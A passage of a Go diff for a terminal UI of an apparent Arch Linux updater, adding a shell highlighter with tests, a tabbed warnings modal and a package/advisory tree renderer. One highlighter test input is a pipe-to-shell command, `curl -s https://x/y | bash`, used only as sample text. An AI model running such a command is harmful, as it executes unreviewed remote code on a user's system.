+ for i := 0; i < len(name); i++ {
+ if !isNameByte(name[i]) {
+ ok = false
+ break
+ }
+ }
+ if ok {
+ return shVariable.Render(name) + shOperator.Render("=") +
+ styleWord(word[eq+1:], false)
+ }
+ }
+
+ // a flag, but not a negative number and not `--` alone
+ if len(word) > 1 && word[0] == '-' && !isAllDigits(word[1:]) {
+ return shFlag.Render(word)
+ }
+
+ if isAllDigits(word) {
+ return shNumber.Render(word)
+ }
+
+ // the program being run
+ if isCommand && !strings.ContainsAny(word, "\"'$") {
+ return shCommand.Render(word)
+ }
+
+ return styleSegments(word)
+}
+
+// styleSegments colours a word that may contain quotes and variables.
+func styleSegments(word string) string {
+ var b strings.Builder
+ i, n := 0, len(word)
+ for i < n {
+ c := word[i]
+
+ if c == '"' || c == '\'' {
+ quote := c
+ j := i + 1
+ for j < n {
+ if word[j] == '\\' && quote == '"' && j+1 < n {
+ j += 2
+ continue
+ }
+ if word[j] == quote {
+ j++
+ break
+ }
+ j++
+ }
+ // An unterminated quote is still shown as written, with the
+ // closing quote only when there was one. Emitting it unconditionally
+ // turned a lone `"` into `""`.
+ terminated := j > i+1 && word[j-1] == quote
+ inner := word[i+1 : j]
+ if terminated {
+ inner = word[i+1 : j-1]
+ } else if j > i+1 {
+ inner = word[i+1 : j]
+ } else {
+ inner = ""
+ }
+ // variables inside double quotes still expand, so they are still
+ // the thing worth seeing
+ if quote == '"' {
+ b.WriteString(shString.Render(string(quote)))
+ b.WriteString(styleVariables(inner))
+ if terminated {
+ b.WriteString(shString.Render(string(quote)))
+ }
+ } else {
+ b.WriteString(shString.Render(word[i:j]))
+ }
+ i = j
+ continue
+ }
+
+ if c == '$' {
+ j := variableEnd(word, i)
+ b.WriteString(shVariable.Render(word[i:j]))
+ i = j
+ continue
+ }
+
+ j := i
+ for j < n && word[j] != '"' && word[j] != '\'' && word[j] != '$' {
+ j++
+ }
+ if j == i {
+ j++
+ }
+ b.WriteString(stylePlain(word[i:j]))
+ i = j
+ }
+ return b.String()
+}
+
+// styleVariables colours only the `$…` pieces of a double-quoted string.
+func styleVariables(s string) string {
+ var b strings.Builder
+ i, n := 0, len(s)
+ for i < n {
+ if s[i] == '$' {
+ j := variableEnd(s, i)
+ b.WriteString(shVariable.Render(s[i:j]))
+ i = j
+ continue
+ }
+ j := i
+ for j < n && s[j] != '$' {
+ j++
+ }
+ b.WriteString(shString.Render(s[i:j]))
+ i = j
+ }
+ return b.String()
+}
+
+// variableEnd finds the end of `$name`, `${name}` or `$(command)`.
+func variableEnd(s string, start int) int {
+ i := start + 1
+ if i >= len(s) {
+ return i
+ }
+ switch s[i] {
+ case '{':
+ depth := 0
+ for i < len(s) {
+ switch s[i] {
+ case '{':
+ depth++
+ case '}':
+ depth--
+ if depth == 0 {
+ return i + 1
+ }
+ }
+ i++
+ }
+ return len(s)
+ case '(':
+ depth := 0
+ for i < len(s) {
+ switch s[i] {
+ case '(':
+ depth++
+ case ')':
+ depth--
+ if depth == 0 {
+ return i + 1
+ }
+ }
+ i++
+ }
+ return len(s)
+ }
+ for i < len(s) && isNameByte(s[i]) {
+ i++
+ }
+ return i
+}
+
+func isAllDigits(s string) bool {
+ if s == "" {
+ return false
+ }
+ for i := 0; i < len(s); i++ {
+ if s[i] < '0' || s[i] > '9' {
+ return false
+ }
+ }
+ return true
+}
+
+// pathish matches a run that contains a directory separator: the thing worth
+// seeing at a glance, because "does this write into /etc" is the question these
+// queues exist to answer.
+var pathish = regexp.MustCompile(`[A-Za-z0-9_$@{}.<>\-]*/[A-Za-z0-9_$@{}.<>\-/*]+`)
+
+// urlish matches a URL, which is where a source or a download comes from.
+var urlish = regexp.MustCompile(`(?:https?|git|ssh)://[^\s"']+`)
+
+// stylePlain colours the interesting parts of an otherwise unremarkable run of
+// text: URLs first, then anything with a slash in it.
+func stylePlain(s string) string {
+ if s == "" {
+ return ""
+ }
+ var b strings.Builder
+ last := 0
+ for _, loc := range pathish.FindAllStringIndex(s, -1) {
+ if loc[0] > last {
+ b.WriteString(shPlain.Render(s[last:loc[0]]))
+ }
+ span := s[loc[0]:loc[1]]
+ if url := urlish.FindString(span); url != "" {
+ // keep any trailing punctuation out of the coloured span
+ head := strings.Index(span, url)
+ if head > 0 {
+ b.WriteString(shPlain.Render(span[:head]))
+ }
+ b.WriteString(shURL.Render(url))
+ b.WriteString(shPath.Render(span[head+len(url):]))
+ } else {
+ b.WriteString(shPath.Render(span))
+ }
+ last = loc[1]
+ }
+ if last < len(s) {
+ b.WriteString(shPlain.Render(s[last:]))
+ }
+ return b.String()
+}
diff --git a/tui/internal/ui/sh_highlight_test.go b/tui/internal/ui/sh_highlight_test.go
@@ -0,0 +1,75 @@
+package ui
+
+import (
+ "strings"
+ "testing"
+
+ "github.com/charmbracelet/x/ansi"
+)
+
+func TestHighlightLeavesTheTextAlone(t *testing.T) {
+ lines := []string{
+ `git clone https://aur.archlinux.org/x.git`,
+ `make DESTDIR="$pkgdir" install`,
+ `./configure --prefix=/usr --enable-foo`,
+ `if [ ! -d "$srcdir/$_dir" ]; then`,
+ `curl -s https://x/y | bash`,
+ `_dir=$(cd "$srcdir" && ls -d [Ff]luxer*"${pkgver}"*/ | head -n1)`,
+ `echo "Error: could not find $_dir" >&2`,
+ `# a comment`,
+ `patch -p1 < ../demo.patch`,
+ }
+ for _, line := range lines {
+ got := highlightShell(line)
+ if plain := ansi.Strip(got); plain != line {
+ t.Errorf("text changed:\n in: %q\n out: %q", line, plain)
+ }
+ if w, want := ansi.StringWidth(got), ansi.StringWidth(line); w != want {
+ t.Errorf("width changed for %q: %d != %d", line, w, want)
+ }
+ }
+}
+
+func TestHighlightColoursThePartsDifferently(t *testing.T) {
+ got := highlightShell(`curl -s https://x/y | bash`)
+ // the command, the flag and the operator should not all be one colour
+ if strings.Count(got, "\x1b[") < 6 {
+ t.Errorf("not enough styling: %q", got)
+ }
+ if !strings.Contains(got, "\x1b[") {
+ t.Fatal("no escapes at all")
+ }
+}
+
+func TestHighlightHandlesAwkwardInput(t *testing.T) {
+ for _, line := range []string{"", " ", "\t", "$", "${", "$(", `"`, `'`, "a=", "#"} {
+ func() {
+ defer func() {
+ if r := recover(); r != nil {
+ t.Errorf("panic on %q: %v", line, r)
+ }
+ }()
+ if plain := ansi.Strip(highlightShell(line)); plain != line {
+ t.Errorf("%q became %q", line, plain)
+ }
+ }()
+ }
+}
+
+func TestHighlightMarksTheCommandNotTheArguments(t *testing.T) {
+ // the first word is what runs; the rest is what it is told to do
+ got := highlightShell("makepkg -si")
+ if !strings.Contains(got, shCommand.Render("makepkg")) {
+ t.Errorf("the command is not styled as one: %q", got)
+ }
+ if !strings.Contains(got, shFlag.Render("-si")) {
+ t.Errorf("the flag is not styled as one: %q", got)
+ }
+}
+
+func TestHighlightTreatsAnAssignmentAsAVariable(t *testing.T) {
+ got := highlightShell(`DESTDIR="$pkgdir" ninja -C build install`)
+ if !strings.Contains(got, shVariable.Render("DESTDIR")) {
+ t.Errorf("the assignment target is not marked: %q", got)
+ }
+}
diff --git a/tui/internal/ui/tabs_modal.go b/tui/internal/ui/tabs_modal.go
@@ -0,0 +1,262 @@
+package ui
+
+import (
+ "fmt"
+ "strings"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/x/ansi"
+)
+
+// tabSection is one named group of lines in a tabsModal.
+type tabSection struct {
+ title string
+ lines []string
+ //: how many entries in this section want attention, for the tab bar
+ flagged int
+ //: a short note shown under the tab bar
+ note string
+}
+
+// tabsModal shows several related listings one at a time.
+//
+// Warnings are the case this exists for: one type is fine as a paragraph, but
+// three types stacked into one scroll makes the third look like an afterthought
+// and buries whichever one matters. A tab each keeps every type a first-class
+// thing, and the tab bar says how many there are before you start reading.
+type tabsModal struct {
+ title string
+ tabs []tabSection
+ current int
+ scroll int
+ offset int
+ searching bool
+ query string
+ matchAt int
+ matches []int
+ searchErr string
+ height int
+}
+
+func newTabs(title string, tabs []tabSection) *tabsModal {
+ return &tabsModal{title: title, tabs: tabs}
+}
+
+func (t *tabsModal) tab() *tabSection {
+ if t.current < 0 || t.current >= len(t.tabs) {
+ return nil
+ }
+ return &t.tabs[t.current]
+}
+
+func (t *tabsModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ switch msg := msg.(type) {
+ case spinnerTickMsg:
+ return t, nil
+
+ case tea.KeyMsg:
+ if t.searching {
+ return t.updateSearch(msg)
+ }
+ switch msg.String() {
+ case "q", "esc", "ctrl+c":
+ return nil, nil
+ case "tab", "l", "right":
+ t.next(1)
+ case "shift+tab", "h", "left":
+ t.next(-1)
+ case "j", "down":
+ t.scroll++
+ case "k", "up":
+ t.scroll--
+ case "ctrl+d", "pgdown":
+ t.scroll += 10
+ case "ctrl+u", "pgup":
+ t.scroll -= 10
+ case "g", "home":
+ t.scroll = 0
+ case "G", "end":
+ t.scroll = 1 << 30
+ case "/":
+ t.searching = true
+ t.query = ""
+ t.searchErr = ""
+ case "n":
+ t.nextMatch(1)
+ case "N":
+ t.nextMatch(-1)
+ default:
+ // a digit jumps straight to a tab
+ if len(msg.String()) == 1 && msg.String()[0] >= '1' && msg.String()[0] <= '9' {
+ index := int(msg.String()[0] - '1')
+ if index < len(t.tabs) {
+ t.current = index
+ t.scroll, t.offset = 0, 0
+ t.recompute()
+ }
+ }
+ }
+ }
+ return t, nil
+}
+
+// next switches tabs, wrapping. Each tab starts at its own top.
+func (t *tabsModal) next(step int) {
+ if len(t.tabs) == 0 {
+ return
+ }
+ t.current = (t.current + step + len(t.tabs)) % len(t.tabs)
+ t.scroll, t.offset = 0, 0
+ t.recompute()
+}
+
+func (t *tabsModal) updateSearch(msg tea.KeyMsg) (modal, tea.Cmd) {
+ switch msg.Type {
+ case tea.KeyEsc:
+ t.searching = false
+ t.query = ""
+ t.searchErr = ""
+ return t, nil
+ case tea.KeyEnter:
+ t.searching = false
+ if t.query != "" && len(t.matches) == 0 {
+ t.searchErr = "no match"
+ }
+ return t, nil
+ case tea.KeyBackspace:
+ if t.query != "" {
+ runes := []rune(t.query)
+ t.query = string(runes[:len(runes)-1])
+ }
+ t.recompute()
+ return t, nil
+ case tea.KeyRunes, tea.KeySpace:
+ t.query += string(msg.Runes)
+ t.recompute()
+ return t, nil
+ }
+ return t, nil
+}
+
+// recompute marks matches in the current tab only; searching across tabs would
+// need a way to say which tab a hit is in, and the tab bar already shows that.
+func (t *tabsModal) recompute() {
+ t.searchErr = ""
+ t.matches = t.matches[:0]
+ section := t.tab()
+ if section == nil || t.query == "" {
+ return
+ }
+ needle := strings.ToLower(t.query)
+ for i, line := range section.lines {
+ if strings.Contains(strings.ToLower(ansi.Strip(line)), needle) {
+ t.matches = append(t.matches, i)
+ }
+ }
+ t.matchAt = 0
+ if len(t.matches) > 0 {
+ t.scroll = t.matches[0]
+ }
+}
+
+func (t *tabsModal) nextMatch(step int) {
+ if len(t.matches) == 0 {
+ return
+ }
+ t.matchAt = (t.matchAt + step + len(t.matches)) % len(t.matches)
+ t.scroll = t.matches[t.matchAt]
+}
+
+func (t *tabsModal) View(width, height int) string {
+ inner := width - 8
+ if inner < 24 {
+ inner = 24
+ }
+ t.height = height
+ rows := max(3, height-11)
+
+ var b strings.Builder
+ b.WriteString(Title.Render(t.title))
+
+ if len(t.tabs) > 1 {
+ b.WriteString("\n\n")
+ b.WriteString(t.tabBar())
+ }
+
+ section := t.tab()
+ b.WriteString("\n")
+ if section == nil {
+ b.WriteString("\n" + Muted.Render("nothing to show here"))
+ return place(Box.Render(b.String()), width, height)
+ }
+
+ if section.note != "" {
+ b.WriteString("\n" + Muted.Render(ansi.Truncate(section.note, inner, "…")))
+ }
+ b.WriteString("\n\n")
+
+ total := len(section.lines)
+ if t.scroll > total-rows {
+ t.scroll = max(0, total-rows)
+ }
+ if t.scroll < 0 {
+ t.scroll = 0
+ }
+ end := min(total, t.scroll+rows)
+ for _, line := range section.lines[t.scroll:end] {
+ b.WriteString(ansi.Truncate(line, inner, "…") + "\n")
+ }
+ for i := end - t.scroll; i < rows; i++ {
+ b.WriteString("\n")
+ }
+
+ b.WriteString(t.footer(inner, total))
+ return place(Box.Render(b.String()), width, height)
+}
+
+// tabBar renders the tabs, marking the current one and any that are flagged.
+func (t *tabsModal) tabBar() string {
+ parts := make([]string, 0, len(t.tabs))
+ for i, tab := range t.tabs {
+ label := tab.title
+ if tab.flagged > 0 {
+ label += fmt.Sprintf(" %d", tab.flagged)
+ }
+ if i == t.current {
+ parts = append(parts, Selected.Render(" "+label+" "))
+ continue
+ }
+ if tab.flagged > 0 {
+ parts = append(parts, Warn.Render(" "+label+" "))
+ continue
+ }
+ parts = append(parts, Muted.Render(" "+label+" "))
+ }
+ return strings.Join(parts, Muted.Render("│"))
+}
+
+func (t *tabsModal) footer(inner int, total int) string {
+ pos := fmt.Sprintf("[%d/%d]", t.scroll+1, max(1, total))
+ hint := "[j/k] scroll • [/] search • [esc] close"
+ if len(t.tabs) > 1 {
+ hint = "[tab] switch • " + hint
+ }
+ if t.searching || t.query != "" {
+ cursor := ""
+ if t.searching {
+ cursor = Accent.Render("_")
+ }
+ hint = "/" + t.query + cursor
+ if len(t.matches) > 0 {
+ hint = "n/N " + hint + Muted.Render(
+ fmt.Sprintf(" %d/%d", t.matchAt+1, len(t.matches)))
+ } else if t.searchErr != "" {
+ hint += Warn.Render(" " + t.searchErr)
+ }
+ }
+ gap := inner - ansi.StringWidth(hint) - len(pos)
+ if gap < 1 {
+ gap = 1
+ }
+ return "\n" + Desc.Render(hint) + strings.Repeat(" ", gap) + Muted.Render(pos)
+}
diff --git a/tui/internal/ui/tree.go b/tui/internal/ui/tree.go
@@ -0,0 +1,771 @@
+package ui
+
+import (
+ "fmt"
+ "regexp"
+ "strings"
+
+ "github.com/charmbracelet/lipgloss"
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/plan"
+)
+
+// Columns mirrors the Python renderer's fixed grid.
+//
+// The look the Python side has is mostly this: one grid, the same column
+// positions on every line, and a right-aligned value hanging off the edge. It is
+// worth reproducing exactly rather than approximating, because the eye reads the
+// alignment before it reads the content.
+type Columns struct {
+ Width int
+ Indent int
+ RightMargin int
+}
+
+// minGrid is the narrowest width the column maths will work against.
+//
+// It is a floor on the *grid*, not on the terminal: inflating Width itself made
+// every row render wider than a narrow terminal, so each line wrapped and the
+// whole screen looked broken. Keep the floor internal to the column positions.
+const minGrid = 64
+
+// NewColumns builds the grid for a terminal width.
+func NewColumns(width int) Columns {
+ return Columns{Width: max(width, 20), Indent: 2, RightMargin: 2}
+}
+
+// grid is the width used for placing columns, with a floor so that verCol and
+// noteCol do not collapse into each other on a very narrow terminal.
+func (c Columns) grid() int { return max(c.Width, minGrid) }
+
+// Right is the column at which right-aligned content ends.
+func (c Columns) Right() int { return c.Width - c.RightMargin }
+
+// verCol is where the incoming version starts, never past the real edge.
+func (c Columns) verCol() int {
+ return min(c.Indent+int(float64(c.grid()-c.Indent)*0.55), c.Width-6)
+}
+
+// noteCol is where a trailing annotation starts, never past the real edge.
+func (c Columns) noteCol() int {
+ return min(c.Indent+int(float64(c.grid()-c.Indent)*0.76), c.Width-2)
+}
+
+// Kind determines how a node draws.
+type Kind int
+
+const (
+ KindSection Kind = iota
+ KindSpacer
+ KindPackage
+ KindFinding
+ KindCheck
+ KindStep
+ KindAdvisory
+)
+
+// Node is one row. It carries structured fields rather than a pre-rendered
+// string, so the grid can align it, the cursor can highlight the full width, and
+// truncation never leaves stray escape sequences behind.
+type Node struct {
+ Kind Kind
+
+ Title string // sections
+ Meta string // sections: right-aligned summary
+
+ Tag string // packages: U / D / ! / !!
+ TagRole string
+ Name string
+ Old, New string
+ Note string
+ NoteRole string
+ Right string // right-aligned value, e.g. a size
+ ShowArrow bool
+
+ Glyph string // findings, checks
+ GlyphRole string
+ Text string
+ Evidence string
+
+ Index string // plan steps
+ Command string
+
+ //: which section a package belongs to, so decisions can tell a repo package
+ //: from an AUR one without threading the plan through every call
+ Section string
+
+ //: per-run exclusion and permanent holds, shown on the row
+ Skipped bool
+ Ignored bool
+ //: the version already installed
+ Installed string
+ //: a check that can be run again, named by this
+ Action string
+ //: the command that resolves this row, and what to say before running it
+ Run []string
+ Warning string
+ //: column width for a plan step's command, shared by the whole section
+ Width int
+ //: picked with `s`, and whether any picking is happening at all
+ Soloed bool
+ SoloActive bool
+ //: the ordered commands a plan step will run
+ Queue []plan.Stage
+ Detail []string
+ Children []*Node
+ Expanded bool
+
+ depth int
+}
+
+// HasChildren reports whether the node can be expanded.
+func (n *Node) HasChildren() bool { return len(n.Children) > 0 }
+
+// Toggle expands or collapses the node.
+func (n *Node) Toggle() {
+ if n.HasChildren() {
+ n.Expanded = !n.Expanded
+ }
+}
+
+// Flatten returns the visible nodes in render order, with depths assigned.
+func Flatten(nodes []*Node) []*Node {
+ var out []*Node
+ var walk func(list []*Node, depth int)
+ walk = func(list []*Node, depth int) {
+ for _, n := range list {
+ n.depth = depth
+ out = append(out, n)
+ if n.HasChildren() && n.Expanded {
+ walk(n.Children, depth+1)
+ }
+ }
+ }
+ walk(nodes, 0)
+ return out
+}
+
+// -- helpers --------------------------------------------------------------
+
+func humanBytes(n int64) string {
+ neg := n < 0
+ if neg {
+ n = -n
+ }
+ units := []string{"B", "KiB", "MiB", "GiB", "TiB"}
+ v := float64(n)
+ i := 0
+ for v >= 1024 && i < len(units)-1 {
+ v /= 1024
+ i++
+ }
+ sign := ""
+ if neg {
+ sign = "-"
+ }
+ if i == 0 {
+ return fmt.Sprintf("%s%d B", sign, n)
+ }
+ return fmt.Sprintf("%s%.1f %s", sign, v, units[i])
+}
+
+func sizeDelta(n int64) string {
+ switch {
+ case n > 0:
+ return "+" + humanBytes(n)
+ case n < 0:
+ return "-" + humanBytes(-n)
+ default:
+ return "0 B"
+ }
+}
+
+// spread right-aligns `right` within a width-wide line, clamping both sides so
+// the result can never exceed the width.
+//
+// Padding without clamping is how a narrow terminal ends up wrapping every row:
+// a long section meta or a long package name pushed the line past the edge.
+// The right side wins, because it carries the version and the size; the left is
+// truncated to make room for it.
+func spread(left, right string, width int) string {
+ if width <= 0 {
+ return ""
+ }
+ rightW := ansi.StringWidth(right)
+ if rightW > width-1 {
+ right = ansi.Truncate(right, max(0, width-1), "…")
+ rightW = ansi.StringWidth(right)
+ }
+ room := width - rightW - 1
+ if room < 0 {
+ room = 0
+ }
+ if room == 0 {
+ left = ""
+ } else if ansi.StringWidth(left) > room {
+ left = ansi.Truncate(left, room, "…")
+ }
+ gap := width - ansi.StringWidth(left) - rightW
+ if gap < 1 {
+ gap = 1
+ }
+ return left + strings.Repeat(" ", gap) + right
+}
+
+func role(name string) lipgloss.Style {
+ switch name {
+ case "accent":
+ return Accent
+ case "ok":
+ return OK
+ case "warn":
+ return Warn
+ case "alert":
+ return Alert
+ case "err":
+ return Err
+ case "old":
+ return Outgoing
+ case "new":
+ return Incoming
+ case "ver":
+ return Ver
+ case "muted":
+ return Muted
+ case "title":
+ return Title
+ default:
+ return Text
+ }
+}
+
+// -- building -------------------------------------------------------------
+
+func section(title, meta string) *Node {
+ return &Node{Kind: KindSection, Title: title, Meta: meta, Expanded: true}
+}
+
+func pkgDetail(name, repo, old, new string, download, delta int64, note string) []string {
+ lines := []string{
+ Title.Render(name),
+ "",
+ " " + Muted.Render("version ") + Outgoing.Render(old) +
+ Muted.Render(" → ") + Incoming.Render(new),
+ }
+ if repo != "" {
+ lines = append(lines, " "+Muted.Render("repo ")+Ver.Render(repo))
+ }
+ if download > 0 {
+ lines = append(lines, " "+Muted.Render("download ")+Text.Render(humanBytes(download)))
+ }
+ if delta != 0 {
+ style := Incoming
+ if delta > 0 {
+ style = Warn
+ }
+ lines = append(lines, " "+Muted.Render("on disk ")+style.Render(sizeDelta(delta)))
+ }
+ if note != "" {
+ lines = append(lines, "", " "+Warn.Render(note))
+ }
+ return lines
+}
+
+func severityRole(severity string) string {
+ switch severity {
+ case "BLOCK":
+ return "alert"
+ case "LOOK":
+ return "warn"
+ default:
+ return "muted"
+ }
+}
+
+// advisoryInScope reports whether any of an advisory's packages will be applied.
+func advisoryInScope(a plan.Advisory, keep func(string) bool) bool {
+ if len(a.Packages) == 0 {
+ return true // nothing to scope it by
+ }
+ for _, name := range a.Packages {
+ if keep(name) {
+ return true
+ }
+ }
+ return false
+}
+
+// actionFor marks a check whose detail is worth opening.
+func actionFor(c plan.Check) string {
+ if len(c.Details) > 0 {
+ return "detail"
+ }
+ return ""
+}
+
+// advisoryRole colours an advisory by how serious it is.
+//
+// Fixability has its own channel -- the "fixed in X" or "no fix available"
+// text beside it -- and colouring the severity label by that instead made
+// Critical and Low the same shade, which is the one distinction a security
+// list exists to make.
+func advisoryRole(severity string) string {
+ switch strings.ToLower(severity) {
+ case "critical", "high":
+ return "alert"
+ case "medium":
+ return "warn"
+ case "low":
+ return "accent"
+ default:
+ return "muted"
+ }
+}
+
+// advisoryNode renders one security advisory, drillable for its CVE list.
+func advisoryNode(a plan.Advisory) *Node {
+ r := advisoryRole(a.Severity)
+ fix := "no fix available"
+ if a.HasFix() {
+ fix = "fixed in " + a.Fixed
+ }
+ detail := []string{
+ Title.Render(a.ID),
+ "",
+ " " + role(r).Render(a.Severity) + " " + Muted.Render(fix),
+ " " + Muted.Render("affects "+strings.Join(a.Packages, ", ")),
+ "",
+ }
+ for i, issue := range a.Issues {
+ if i >= 20 {
+ detail = append(detail, " "+Muted.Render(
+ fmt.Sprintf("+ %d more", len(a.Issues)-20)))
+ break
+ }
+ detail = append(detail, " "+Ver.Render(issue))
+ }
+ detail = append(detail, "", " "+Muted.Render(a.URL))
+
+ return &Node{
+ Kind: KindAdvisory, Name: a.ID, GlyphRole: r,
+ Tag: a.Severity, TagRole: r,
+ Title: strings.Join(a.Packages, ", "),
+ Evidence: fix,
+ Note: fmt.Sprintf("%d CVE(s)", len(a.Issues)), NoteRole: "ver",
+ Detail: detail,
+ }
+}
+
+func findingNode(f plan.Finding) *Node {
+ r := severityRole(f.Severity)
+ return &Node{
+ Kind: KindFinding, Glyph: f.Glyph(), GlyphRole: r,
+ Text: f.Title, Evidence: f.Evidence,
+ Detail: []string{
+ role(r).Render(f.Glyph() + " " + f.Title),
+ "", " " + Ver.Render(f.Evidence),
+ "", " " + Muted.Render("rule: "+f.Rule),
+ },
+ }
+}
+
+// BuildTree turns a plan into the scrollable column.
+func BuildTree(p *plan.Plan, audits map[string][]plan.Finding, threshold int,
+ keep func(string) bool) []*Node {
+ if threshold <= 0 {
+ threshold = 8
+ }
+ if keep == nil {
+ keep = func(string) bool { return true }
+ }
+ var roots []*Node
+
+ if len(p.Repo) > 0 {
+ var download, delta int64
+ for _, u := range p.Repo {
+ download += u.Download
+ delta += u.Delta
+ }
+ sec := section("Repository", fmt.Sprintf("%d packages · %s to download · %s on disk",
+ len(p.Repo), humanBytes(download), sizeDelta(delta)))
+ for _, u := range p.Repo {
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindPackage, Section: "Repository",
+ Tag: "U", TagRole: "accent", ShowArrow: true,
+ Ignored: u.Ignored,
+ Name: u.Name, Old: u.Old, New: u.New, Right: sizeDelta(u.Delta),
+ Detail: pkgDetail(u.Name, u.Repo, u.Old, u.New, u.Download, u.Delta, ""),
+ })
+ }
+ roots = append(roots, sec)
+ }
+
+ if len(p.Aur) > 0 {
+ blocked := 0
+ for _, a := range p.Aur {
+ if a.Tag == "!!" {
+ blocked++
+ }
+ }
+ meta := fmt.Sprintf("%d packages", len(p.Aur)+len(p.Vcs))
+ if len(p.Vcs) > 0 {
+ meta += fmt.Sprintf(" · %d devel rebuild", len(p.Vcs))
+ }
+ if blocked > 0 {
+ meta += fmt.Sprintf(" · %d need attention", blocked)
+ }
+ sec := section("AUR", meta)
+ for _, a := range p.Aur {
+ r := "accent"
+ switch a.Tag {
+ case "!!":
+ r = "alert"
+ case "!":
+ r = "warn"
+ case "D":
+ r = "ver"
+ }
+ noteRole := r
+ if !a.WasAudited() {
+ // make it obvious, in a colour that reads as "look at me",
+ // rather than letting an unexamined package look clean
+ r = "warn"
+ noteRole = "warn"
+ }
+ node := &Node{
+ Kind: KindPackage, Section: "AUR",
+ Tag: a.Tag, TagRole: r, ShowArrow: true, Ignored: a.Ignored,
+ Name: a.Name, Old: a.Old, New: a.New,
+ Note: a.Note, NoteRole: noteRole,
+ Detail: pkgDetail(a.Name, "", a.Old, a.New, 0, 0, a.Note),
+ }
+ for _, f := range audits[a.Name] {
+ node.Children = append(node.Children, findingNode(f))
+ }
+ sec.Children = append(sec.Children, node)
+ }
+ // VCS packages belong with the rest of the AUR: they are the same kind
+ // of thing, updated under the same rules, and a separate section implied
+ // they could not be acted on.
+ for _, v := range p.Vcs {
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindPackage, Section: "AUR",
+ Name: v.Name,
+ Tag: "V", TagRole: "warn", ShowArrow: true,
+ Old: v.Old, New: v.New,
+ Note: "devel rebuild",
+ Detail: []string{
+ Title.Render(v.Name), "",
+ " " + Muted.Render("installed ") + Ver.Render(v.Old),
+ " " + Muted.Render("would be ") + Ver.Render(v.New),
+ " " + Muted.Render("source ") + Text.Render("git"),
+ "",
+ " " + Muted.Render("paru rebuilds a devel package when upstream"),
+ " " + Muted.Render("has moved. A version comparison cannot tell"),
+ " " + Muted.Render("you that: the AUR's recorded version lags"),
+ " " + Muted.Render("whatever was built last time."),
+ },
+ })
+ }
+ roots = append(roots, sec)
+ }
+
+ if len(p.Checks) > 0 {
+ sec := section("Checks", fmt.Sprintf("%d item(s)", len(p.Checks)))
+ for _, c := range p.Checks {
+ glyph, r := "✓", "ok"
+ if !c.OK {
+ glyph, r = "!", "warn"
+ }
+ // The row already says the label, and the overlay is titled with
+ // it. Repeating both at the top of the body was noise on every
+ // check that had anything to say.
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindCheck, Glyph: glyph, GlyphRole: r,
+ Text: c.Label, Evidence: c.Detail,
+ Detail: c.Details, Action: actionFor(c),
+ Run: c.Action, Warning: c.Warning,
+ })
+ }
+ roots = append(roots, sec)
+ }
+
+ if len(p.Flatpak) > 0 {
+ sec := section("Flatpak", fmt.Sprintf("%d update(s)", len(p.Flatpak)))
+ for _, f := range p.Flatpak {
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindPackage, Tag: "U", TagRole: "accent", ShowArrow: true,
+ Name: f.Application, New: f.Version, Right: f.Origin,
+ })
+ }
+ roots = append(roots, sec)
+ }
+
+ if len(p.Advisories) > 0 || p.AckedCount > 0 {
+ fixable := 0
+ for _, a := range p.Advisories {
+ if a.HasFix() {
+ fixable++
+ }
+ }
+ meta := fmt.Sprintf("%d advisories · %d fixable", len(p.Advisories), fixable)
+ if p.AckedCount > 0 {
+ meta += fmt.Sprintf(" · %d acknowledged", p.AckedCount)
+ }
+ // An advisory about a package that is not being applied is not this
+ // run's problem, and listing it beside the ones that are buries them.
+ relevant := make([]plan.Advisory, 0, len(p.Advisories))
+ for _, a := range p.Advisories {
+ if advisoryInScope(a, keep) {
+ relevant = append(relevant, a)
+ }
+ }
+ if len(relevant) == 0 {
+ sec := section("Security", "nothing affects the packages selected")
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindCheck, Glyph: "✓", GlyphRole: "ok",
+ Text: "in scope", Evidence: fmt.Sprintf(
+ "none of the %d advisories affect what will be applied",
+ len(p.Advisories)),
+ })
+ roots = append(roots, sec)
+ } else {
+ meta = fmt.Sprintf("%d advisories", len(relevant))
+ fixable := 0
+ for _, a := range relevant {
+ if a.HasFix() {
+ fixable++
+ }
+ }
+ meta += fmt.Sprintf(" · %d fixable", fixable)
+ if p.AckedCount > 0 {
+ meta += fmt.Sprintf(" · %d acknowledged", p.AckedCount)
+ }
+ sec := section("Security", meta)
+ for _, a := range relevant {
+ sec.Children = append(sec.Children, advisoryNode(a))
+ }
+ roots = append(roots, sec)
+ }
+ }
+
+ if len(p.Steps) > 0 {
+ sec := section("Plan", "")
+ // Wide enough for the longest command in the list. A fixed width let
+ // `paru -S --needed` run into its own explanation.
+ commandWidth := 14
+ for _, step := range p.Steps {
+ if n := len(step.Command) + 2; n > commandWidth {
+ commandWidth = n
+ }
+ }
+ if commandWidth > 26 {
+ commandWidth = 26
+ }
+ for _, step := range p.Steps {
+ sec.Children = append(sec.Children, &Node{
+ Kind: KindStep, Index: step.Index, Command: step.Command,
+ Evidence: step.Detail, Detail: step.Details,
+ Width: commandWidth, Queue: step.Queue,
+ })
+ }
+ roots = append(roots, sec)
+ }
+
+ // a blank line before each heading. The eye needs the break more than it
+ // needs the extra row of content.
+ spaced := make([]*Node, 0, len(roots)*2)
+ for i, r := range roots {
+ if i > 0 {
+ spaced = append(spaced, &Node{Kind: KindSpacer})
+ }
+ spaced = append(spaced, r)
+ }
+ return spaced
+}
+
+// Selectable reports whether the cursor may rest on a node.
+func (n *Node) Selectable() bool { return n.Kind != KindSpacer }
+
+// -- rendering ------------------------------------------------------------
+
+// Render draws a node as one full-width line on the shared grid.
+func (n *Node) Render(cols Columns, selected bool) string {
+ line := ansi.Truncate(n.render(cols), cols.Width, "")
+ return n.decorate(line, cols, selected)
+}
+
+func (n *Node) decorate(line string, cols Columns, selected bool) string {
+ line = tidy(ansi.Truncate(line, cols.Width, "…"))
+ if selected {
+ if pad := cols.Width - ansi.StringWidth(line); pad > 0 {
+ line += strings.Repeat(" ", pad)
+ }
+ return Selected.Render(line)
+ }
+ return line
+}
+
+func (n *Node) render(cols Columns) string {
+ switch n.Kind {
+ case KindSpacer:
+ return ""
+
+ case KindSection:
+ marker := " "
+ if n.HasChildren() {
+ if n.Expanded {
+ marker = "▾ "
+ } else {
+ marker = "▸ "
+ }
+ }
